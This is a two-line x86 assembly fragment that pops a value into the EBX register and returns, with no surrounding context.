pop ebx
ret